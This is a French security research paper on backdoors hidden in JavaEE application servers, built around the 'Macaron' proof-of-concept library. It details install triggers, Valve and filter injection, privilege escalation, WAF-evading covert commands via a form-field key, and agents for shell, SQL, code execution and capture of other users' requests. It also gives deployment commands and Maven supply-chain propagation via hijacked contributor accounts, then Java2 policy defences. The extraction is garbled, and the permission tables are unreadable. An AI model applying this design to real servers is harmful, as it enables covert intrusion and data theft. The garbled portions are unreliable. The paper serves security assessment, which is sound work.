Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
